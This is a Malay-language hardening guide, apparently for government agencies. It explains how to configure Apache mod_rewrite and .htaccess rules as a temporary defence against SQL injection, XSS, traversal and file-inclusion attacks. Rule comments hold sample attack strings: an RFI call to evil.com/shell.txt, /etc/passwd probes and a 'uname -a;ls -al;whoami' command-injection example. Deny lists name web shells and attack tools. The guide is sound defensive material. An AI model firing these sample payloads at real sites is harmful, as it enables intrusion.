Pengukuhan Sementara Aplikasi Laman Web dengan Modul Rewrite

1.0 Pengenalan

Ancaman serangan terhadap aplikasi laman web agensi merupakan isu utama yang perlu diatasi. Antara ancaman yang semakin meningkat adalah laman web agensi terdedah kepada pelbagai bentuk serangan laman terhadap kelemahan seperti *SQL injection*, *Cross Site Scripting* (XSS), *Directory Traversal*, *Local File Inclusion* (LFI) dan *Remote File Inclusion* (RFI) yang mengakibatkan insiden pencerobohan berlaku.

Serangan *SQL injection* boleh mengakibatkan kandungan maklumat di dalam pangkalan data laman web terdedah dan boleh digunakan penceroboh untuk memasuki sistem. Contohnya, ID pengguna dan kata-laluan yang diperolehi dari pangkalan data boleh digunakan untuk memasuki antaramuka penyenggaraan laman web. Serangan XSS pula membolehkan maklumat *session* penguna yang sedang menggunakan sistem dicuri dan juga digunakan untuk memasuki sistem. Bagi kelemahan *directory traversal*, LFI dan RFI pula, kandungan fail-fail yang terdapat di dalam sistem boleh dicapai dan pelbagai arahan sistem pula boleh dijalankan dengan menggunakan Internet Browser.

Bagi mengatasi pelbagai kelemahan aplikasi laman web ini, ujian penembusan dan pengauditan kod sumber perlu dilaksanakan terhadap laman web agensi. Teknik *secure programming* perlu diaplikasikan terhadap keseluruhan laman web yang dihoskan oleh agensi. Segala *input* penguna perlu disemak (verify)dan disahkan (validate) sebelum dihantar ke pangkalan data.

2.0 Modul Rewrite

Walau bagaimana pun, keseluruhan proses untuk mengatasi kelemahan aplikasi laman web memerlukan masa yang panjang dan berkemungkinan melibatkan kos yang tinggi. Sehubungan dengan itu, modul Rewrite (mod_rewrite) pada Apache web server boleh digunakan sebagai langkah sementara. Dokumentasi modul Rewrite boleh dirujuk di http://httpd.apache.org/docs/current/mod/mod_rewrite.html. Modul ini digunakan bagi menghalakan alamat URL yang diminta pengguna kepada alamat fail atau URL yang dikehendaki oleh pihak agensi.

Modul ini juga boleh digunakan bagi tujuan keselamatan sementara dengan menyemak alamat URL yang dihantar oleh pengguna. Berdasarkan *rule* yang dibina, alamat URL tersebut boleh dihalang atau dihalakan kepada URL lain. Modul ini pada kebiasaanya sudah terpasang secara *default*, tetapi tidak diaktifkan.

3.0 Pemasangan dan Konfigurasi

Berikut merupakan langkah-langkah pemasangan dan konfigurasi modul Rewrite untuk meminimum risiko pelbagai serangan serangan laman web:

a) Aktifkan module Rewrite (buang komen) pada konfigurasi Apache web server (**httpd.conf**) dengan membuang komen pada direktif berikut:

```
#LoadModule rewrite_module modules/mod_rewrite.so
```

kepada

```
LoadModule rewrite_module modules/mod_rewrite.so
```

Konfigurasi Apache web server boleh didapati pada salah satu lokasi berikut berdasarkan pemasangan oleh agensi:

- `/etc/httpd/conf/httpd.conf`
- `/usr/local/etc/httpd/httpd.conf`
- `/etc/apache2/apache2.conf`
- `C:\xampp\apache\conf`

Pengguna sistem pengoperasian berasaskan Ubuntu Linux boleh mengaktifkan modul Rewrite dengan arahan:

```
sudo a2enmod rewrite
```

b) Tukar direktif AllowOverride pada **<Directory />** dalam httpd.conf seperti berikut:

```
<Directory />
   Options FollowSymLinks
   AllowOverride None
   Order allow,deny
   Allow from all
</Directory>
```

Kepada:

```
<Directory />
   Options FollowSymLinks
   AllowOverride All
   Order allow,deny
   Allow from all
</Directory>
```

c) Masukan direktif berikut dalam httpd.conf bagi tujuan logging:

```
RewriteLogLevel 4
RewriteLog "/var/log/apache/rewrite.log"
```

Nota:

Tukar lokasi direktori log (RewriteLog) berdasarkan kesesuaian oleh pihak agensi.

4.0 Rules

Bina fail **.htaccess** pada direktori atau folder yang perlu dilindungi. Sebagai contoh, untuk melindungi direktori joomla yang terdapat dalam /var/www/html/joomla, fail .htaccess perlu dibina di /var/www/html/joomla/.htaccess. Kandungan fail .htacces adalah seperti berikut:

```
# Aktifkan modul rewrite

RewriteEngine On

# Konfigurasi base directory
# RewriteBase "</folder>"
# Contoh: jika laman web dicapai dengan URL http://www.mampu.gov.my/joomla,
# RewriteBase "/joomla" perlu digunakan.

RewriteBase /joomla

# Rules bagi menyemak input pengguna
# Sintak: RewriteCond TestString CondPattern
# Contoh:
#    Semak method web server: RewriteCond %{REQUEST_METHOD} … [NC,OR]
#    Semak user agent: RewriteCond %{HTTP_USER_AGENT}… [NC,OR]
#    Semak query string:  RewriteCond %{QUERY_STRING} … [NC,OR]
#
# NC – No case sensitive
# OR – Or next condition

#
# Contoh di bawah adalah rule yang membenarkan method GET dan POST sahaja

RewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR]

#
# Contoh di bawah adalah rule yang menghalang user agent bagi web vulnerability
# scanner: Nessus dan Havij
# Jika rule di bawah adalah terakhir, direktif [OR] perlu dibuang dari rule

RewriteCond %{HTTP_USER_AGENT} ^.*(nessus|havij).* [NC]

# Halang capaian dan halakan kepada URL/fail laman web agensi
# F – forbidden
# L – last rules

RewriteRule ^(.*)$ /path/to/friendly_errror.php [F,L]
```

Penggunaan direktif <FilesMatch> juga boleh ditambah selepas rules yang dibina bagi menghalang capaian terhadap dail-fail tertentu di dalam server. Sebagai contoh, fail dengan nama-nama berikut akan dihalang capaian dan dihalakan kepada fail atau URL lain:

```
<FilesMatch
"(\.inc|.*sql|.*~|.*bk|.*bak.php|.bk.php|.*bakup.php|.*bak|.*bakup|.*backup|.*backu
p.tgz|.*backup.tar.gz|.*backup.tar|.*backup.gz|.*backup.bz2|.*backup.zip)$">
  Order allow,deny
  Deny from all
</FilesMatch>
```

Contoh selanjutnya, capaian kepada beberapa nama fail backdoor juga boleh dihalang. Banyak kes dikesan di mana penceroboh menggunakan backdoor yang dimuat naik ke dalam server. Rule berikut akan malang capaian kepada beberapa *backdoor* yang diketahui namanya:

```
# Halang capaian kepada web-based backdoor

<FilesMatch
"(c99|r57|c0d3rz|shell|5h3ll|sh3ll|sh311|backdoor|b4ckd00r|pHpINJ|azrail|ayyildiz)"
>
  Order allow,deny
  Deny from all
</FilesMatch>
```

Restart web server bagi membolehkan *rule* bagi mod_rewrite diaktifkan.

Senarai rule di bawah boleh dipasang pada laman web agensi. Ianya perlu diuji memandangkan sesetengah *rule* yang dipasang akan menyebabkan web aplikasi agensi tidak berfungsi. *Rule* yang dibina pula perlu berada dalam satu baris.

4.1 Halang penggunaan *web client* berasaskan *command line*

Penggunaan command line web client seperti lynx, curl dan wget diketahui digunakan oleh penceroboh.

```
RewriteCond %{HTTP_USER_AGENT} ^.*(lynx|wget).* [NC,OR]
```

4.2 Halang penggunaan web vulnerability scanner dan kod-kod bagi tujuan eksploitasi kelemahan sistem

```
# Ban Typical Vulnerability Scanners and others
RewriteCond %{HTTP_USER_AGENT} ^()$ [NC,OR]

# Void of UserAgent
# Known Web vulnerabilty Scanners
RewriteCond %{HTTP_USER_AGENT}
^.*(syhunt|sqlmap|WhatWeb|Netsparker|w3af|Nstalker|acunetix|qualys|nikto|wikto|pikt
o|pykto).* [NC,OR]
```

```
# Random Underground Web Exploit Scanners
RewriteCond %{HTTP_USER_AGENT}
^.*(javascript\:alert|0d\s0a|ZeW|SlimBrowser|drone|DataCha|SBIder|Shelob|MobileRunn
er|Microsoft\sOffice|Plesk|Itah|Mosill|Internet\sExplorer\s4\.01|al_viewer|NetSeer|
MSFrontPage|Yandex|webcollage|lwp\-trivial|Isidorus|core\-
project|\|Toata\sdragostea\smea\spentru\sdiavola|StackRambler|Firebat|Y\!J\-
SRD|ZmEu|libwww|perl|java|curl|ruby|python|scan|fuck|kiss|ass|Morfeus|0wn|hack|h4x|
h4x0r).* [NC,OR]
```

4.3 Halang tool yang berkaitan dengan serangan *Denial of Service* (DoS)

```
# Denial-of-Service Tool
RewriteCond %{HTTP_USER_AGENT} ^.*(ApacheBench).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(WWW\-
Mechanize|revolt|Crawl|Mail\.Ru|Walker|sbide|findlinks|spide|Ace\sExplorer|winhttp|
HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
```

4.4 Matikan capaian kepada sumber cgi-bin jika tidak diperlukan

```
# Disable access to cgi-bins if not used
RewriteCond %{REQUEST_URI} ^/(cgi\.cgi|webcgi|cgi\-914|cgi\-915|bin|cgi|mpcgi|cgi\-
bin|ows\-bin|cgi\-sys|cgi\-local|htbin|cgibin|cgis|scripts|cgi\-win|fcgi\-bin|cgi\-
exe|cgi\-home|cgi\-perl|scgi\-bin)/ [NC,OR]
```

4.5 Halang serangan umum berdasarkan *string* berikut:

```
RewriteCond %{QUERY_STRING}
^.*(\.\.\/|\.\.%2f|\.\.%5C|\.\.%252F|\.\.%255C|\.\.%u2215|%u002e%u002e%u2215|%252e%
252e%252f|%00|\\x00|\\u00|%5C00|%09|%0D%0A) [NC,OR]
```

4.6 Halang serangan SQL injection berdasarkan query string:

```
# SQL Injection Probing

RewriteCond %{QUERY_STRING}
^.*(\@\@version|CHR\(|CHAR\(|UNION%20SELECT|/select/|/union/|/insert/|/update/|/del
ete/).* [NC,OR]

RewriteCond %{QUERY_STRING} ^.*(or|and)%20([0-9]=[0-9]).* [NC,OR]
```

4.7 Halang serangan RFI/LFI

```
# Remote/Local File Inclusion
# RFI: yoursite.com/?pg=http://evil.com/shell.txt?
# LFI: yoursite.com/?pg=/logs/access_log?
RewriteCond %{QUERY_STRING} .*(=https|=http|=ftp)(://|%3a%2f%2f).*\?$ [NC,OR]

RewriteCond %{QUERY_STRING}
(\/access_log|boot\.ini|\/etc\/passwd|%2Fetc%2Fpasswd|c:\\boot\.ini|c%3A\\boot\.ini
|c:\/boot\.ini|c:%2Fboot\.ini|c%3A%2Fboot\.ini|c:boot\.ini|c%3Aboot\.ini).* [NC,OR]
```

4.8 Halang penceroboh melakukan aktiviti information gathering bagi mengetahui maklumat modul PHP yang digunakan dan serangan umum terhadap kelemahan PHP:

```
# PHP Version Probing
RewriteCond %{QUERY_STRING} ^(=PHP).* [NC,OR]

# PHP GLOBALS Overriding

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]

# PHP REQUEST variable Overriding
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]

# PHP Command Injection Probing # vuln.php?exec=uname -a;ls -al;whoami

RewriteCond %{QUERY_STRING} ^.*(=|;)(uname%20-|ls%20-|whoami).* [NC,OR]

# PHP CGI code execution

RewriteCond %{QUERY_STRING} ^[^=]*$ [OR]
RewriteCond %{QUERY_STRING} %2d|\- [OR]
```

4.9 Halang serangan XSS

```
# XSS Probing

RewriteCond %{QUERY_STRING} ^.*(\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(/XSS/).* [NC,OR]
```

Pastikan *file permission* berikut digunakan pada fail .htaccess dan *restart* web server:

```
chmod 644 .htaccess
```

5.0 Konfigurasi mod_rewrite pada virtual hosting

Konfigurasi dengan menggunakan fail .htaccess mudah untuk dipasang. Walau bagaimana pun, pada laman web yang agak sibuk, prestasi capaian akan menurun kerana capaian yang banyak akan menyebabkan proses I/O juga akan bertambah khususnya kepada capaian kepada *hard disk*. Setiap capaian akan membaca fail ini dan dimasukkan ke dalam *memory*. Sehubungan dengan itu, rule perlu dibina dalam konfigurasi laman web di mana ianya akan dibaca sekali sahaja dan dimasukkan ke dalam *memory*. Berikut merupakan contoh rule yang dibina ke dalam konfigurasi laman web:

```
<VirtualHost *:80>
   ServerName www.web1.com
   ServerAlias web1.com
   ServerAdmin webmaster@web1.com
   DocumentRoot /var/www/web1/web/

   # Konfigurasi mod_rewrite untuk tujuan logging
   RewriteEngine On
   RewriteLogLevel 4
   RewriteLog "/var/log/apache2/rewrite.log"
```

```
   <IfModule mod_fcgid.c>
      SuexecUserGroup web1 web1
      <Directory /var/www/web1/web/>
         Options +ExecCGI
         AllowOverride All
         AddHandler fcgid-script .php
         FCGIWrapper /var/www/php-fcgi-scripts/web1/php-fcgi-starter .php
         Order allow,deny
         Allow from all

         # Rule bagi mod_rewrite
         RewriteEngine On
         RewriteBase /
         RewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR]
         RewriteCond %{QUERY_STRING}
^.*(\@\@version|CHR\(|CHAR\(|UNION%20SELECT|/select/|/union/|/insert/|/update/|/del
ete/).* [NC,OR]
         RewriteCond %{QUERY_STRING}
.*(union|select|cast|char|convert|declare|delete|drop|exec|insert|meta|script|hex|u
nhex|concat|set|truncate|update).* [NC,OR]
         RewriteCond %{QUERY_STRING} ^.*(or|and)%20([0-9]=[0-9]).* [NC]
         RewriteRule ^(.*)$ /error.php [F,L]
      </Directory>

   </IfModule>
   ErrorLog /var/log/apache2/web1_error.log
   CustomLog /var/log/apache2/web1_access.log combined
   ServerSignature Off
</VirtualHost>
```

Rule di atas perlu dimasukkan ke dalam konfigurasi *virtual hosting*.

6.0 Penutup

Perlu ditekankan lagi sekali bahawa pengunaan modul ini hanyalah sebagai langkah sementara sahaja. Serangan terhadap input pengguna terhadap borang-borang (form) laman web masih belum dapat dilindungi sepenuhnya. Agensi digalakan untuk memasang modul khas untuk keselamatan aplikasi laman web seperti modul mod_security. Program jangka panjang dan perolehan untuk mengukuhkan keselamatan laman web agensi dari keseluruhan serangan laman web perlu dirancang oleh pihak agensi dengan sewajarnya.